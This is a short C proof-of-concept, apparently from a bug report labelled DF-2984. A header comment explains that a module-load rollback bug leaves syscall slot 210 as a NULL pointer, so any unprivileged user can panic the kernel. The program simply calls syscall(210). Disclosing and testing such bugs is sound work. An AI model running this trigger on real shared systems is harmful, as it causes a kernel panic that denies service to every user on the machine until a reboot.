/*
 * DF-2984 PoC — unprivileged trigger.
 *
 * After root has (once) kldload(2)ed the two conflicting modules, sysent[210]
 * holds { narg=0, rsize=0, sy_call=NULL }.  Any unprivileged user then turns
 * that into a guaranteed kernel NULL function-pointer call with:
 *
 *	./call210
 *
 * Expected on the vulnerable kernel: fatal trap 12 (page fault) in kernel
 * mode, faulting address / RIP = 0 — a persistent, reboot-only-fixable
 * remote-less panic triggerable by every user on the machine.
 *
 * Before the conflicting load (slot live): prints "syscall(210) = 4242".
 * On a stock system (slot = sys_lkmnosys): process is signalled SIGSYS.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>

int
main(void)
{
	long rv;

	printf("uid=%d euid=%d: calling syscall 210 ...\n", getuid(), geteuid());
	fflush(stdout);

	rv = syscall(210);

	/* NOTREACHED when the slot was NULLed by the rollback bug */
	printf("survived: syscall(210) returned %ld (errno=%d)\n", rv, errno);
	return 0;
}